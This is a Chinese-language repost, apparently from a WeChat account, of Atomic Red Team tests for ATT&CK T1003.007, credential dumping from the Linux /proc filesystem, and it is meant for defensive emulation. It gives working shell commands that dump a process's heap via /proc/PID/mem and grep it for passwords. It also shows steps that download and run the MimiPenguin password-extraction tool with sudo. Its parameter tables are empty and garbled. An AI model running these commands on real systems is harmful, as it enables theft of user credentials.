本文章为Atomic Red Team系列文章,本篇文章内容为T1003-操作系统凭证转储。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。
重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。
T1003.007 - 操作系统凭证转储:Proc文件系统
来自ATT&CK的描述
攻击者可能会从proc
文件系统(即/proc
)收集凭证。proc
文件系统是一个伪文件系统,在基于Linux的系统中用作管理虚拟内存的内核数据结构的接口。对于每个进程,/proc/<PID>/maps
文件展示了进程虚拟地址空间内的内存映射情况。而/proc/<PID>/mem
则用于调试目的,可用于访问进程的虚拟地址空间。(引用:Picus Labs Proc cump 2022;baeldung Linux proc map 2022)
在以root权限执行时,攻击者可以在系统上所有进程的这些内存位置中搜索包含凭证特征模式的内容。攻击者可能会使用正则表达式模式,如grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1
,在内存结构或缓存哈希中查找固定字符串。(引用:atomic-red proc文件系统)在没有特权访问的情况下,进程仍然可以查看自己的虚拟内存位置。一些服务或程序可能会在进程内存中以明文形式保存凭证。(引用:MimiPenguin GitHub 2017年5月;Polop Linux PrivEsc Gitbook)
如果以网络浏览器的权限或在其权限下运行,进程可以在/maps
和/mem
位置搜索常见的网站凭证模式(这些模式也可用于在同一结构中查找相邻内存),哈希值或明文凭证可能就存于其中。
原子测试
-
原子测试#1 - 使用sh(本地)转储单个进程内存 -
原子测试#2 - 在FreeBSD上使用sh(本地)转储单个进程内存 -
原子测试#3 - 使用Python(本地)转储单个进程内存 -
原子测试#4 - 使用MimiPenguin捕获密码
原子测试#1 - 使用sh(本地)转储单个进程内存
利用/proc/$PID/mem
(其中$PID
是目标进程ID),使用Shell工具将进程内存复制到外部文件,以便后续搜索或提取。
- 支持的平台:Linux
- 自动生成的GUID:7e91138a - 8e74 - 456d - a007 - 973d67a0bb80
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令:使用
sh
运行!需要提升权限(例如root或管理员权限)
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "#{output_file}"
- 清理命令:
rm -f "#{output_file}"
- 依赖项:使用
sh
运行! - 描述:启动目标进程的脚本必须存在
- 检查先决条件命令:
test -f #{script_path}
grep "#{pid_term}" #{script_path}
- 获取先决条件命令:
echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo "The password is #{pid_term}" && sleep 30' &" >> #{script_path}
原子测试#2 - 在FreeBSD上使用sh(本地)转储单个进程内存
利用/proc/$PID/mem
(其中$PID
是目标进程ID),使用Shell工具将进程内存复制到外部文件,以便后续搜索或提取。在FreeBSD系统上,procfs
必须已挂载。
- 支持的平台:Linux
- 自动生成的GUID:fa37b633 - e097 - 4415 - b2b8 - c5bf4c86e423
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令:使用
sh
运行!需要提升权限(例如root或管理员权限)
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS
- 清理命令:
rm -f "#{output_file}"
- 依赖项:使用
sh
运行! - 描述:启动目标进程的脚本必须存在
- 检查先决条件命令:
test -f #{script_path}
grep "#{pid_term}" #{script_path}
- 获取先决条件命令:
echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo "The password is #{pid_term}" && sleep 30' &" >> #{script_path}
原子测试#3 - 使用Python(本地)转储单个进程内存
利用/proc/$PID/mem
(其中$PID
是目标进程ID),使用Python脚本将进程的堆内存复制到外部文件,以便后续搜索或提取。在FreeBSD系统上,procfs
必须已挂载。
- 支持的平台:Linux
- 自动生成的GUID:437b2003 - a20d - 4ed8 - 834c - 4964f24eec63
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- 攻击命令:使用
sh
运行!需要提升权限(例如root或管理员权限)
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"
- 清理命令:
rm -f "#{output_file}"
- 依赖项:使用
sh
运行! - 描述:启动目标进程的脚本必须存在
- 检查先决条件命令:
test -f #{script_path}
grep "#{pid_term}" #{script_path}
- 获取先决条件命令:
echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo "The password is #{pid_term}" && sleep 30' &" >> #{script_path}
- 描述:需要Python
- 检查先决条件命令:
(which python || which python3 || which python2)
- 获取先决条件命令:
echo "Python 2.7+或3.4+必须安装"
原子测试#4 - 使用MimiPenguin捕获密码
MimiPenguin是一款受MimiKatz启发的工具,针对受CVE - 2018 - 20781影响的Linux系统(基于Ubuntu的发行版和特定版本的GNOME Keyring)。在受影响的系统上成功执行后,MimiPenguin将从内存中检索密码并输出到指定文件。相关参考:
-
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781 -
https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin is a free and,tested on various Linux distributions - 支持的平台:Linux
- 自动生成的GUID:a27418de - bdce - 4ebd - b655 - 38f04842bf0c
- 输入参数:
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
- 攻击命令:使用
bash
运行!需要提升权限(例如root或管理员权限)
sudo #{MimiPenguin_Location} > #{output_file}
cat #{output_file}
- 清理命令:
rm -f #{output_file} > /dev/null
- 依赖项:使用
sh
运行! - 描述:MimiPenguin脚本必须存在于指定位置(#{MimiPenguin_Location})
- 检查先决条件命令:
if [ -f "#{MimiPenguin_Location}" ]; then exit 0; else exit 1; fi;
- 获取先决条件命令:
wget -O "/tmp/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz
mkdir /tmp/mimipenguin
tar -xzvf "/tmp/mimipenguin.tar.gz" -C /tmp/mimipenguin
- 描述:必须安装strings工具
- 检查先决条件命令:
if [ -x "$(command -v strings --version)" ]; then exit 0; else exit 1; fi;
- 获取先决条件命令:
sudo apt-get -y install binutils
- 描述:必须安装Python2
- 检查先决条件命令:
if [ -x "$(command -v python2 --version)" ]; then exit 0; else exit 1; fi;
- 获取先决条件命令:
sudo apt-get -y install python2
- 描述:必须安装Libc - bin
- 检查先决条件命令:
if [ -x "$(command -v ldd --version)" ]; then exit 0; else exit 1; fi;
- 获取先决条件命令:
sudo apt-get -y install libc-bin
原文始发于微信公众号(网空安全手札):T1003.007 - 操作系统凭证转储:Proc文件系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论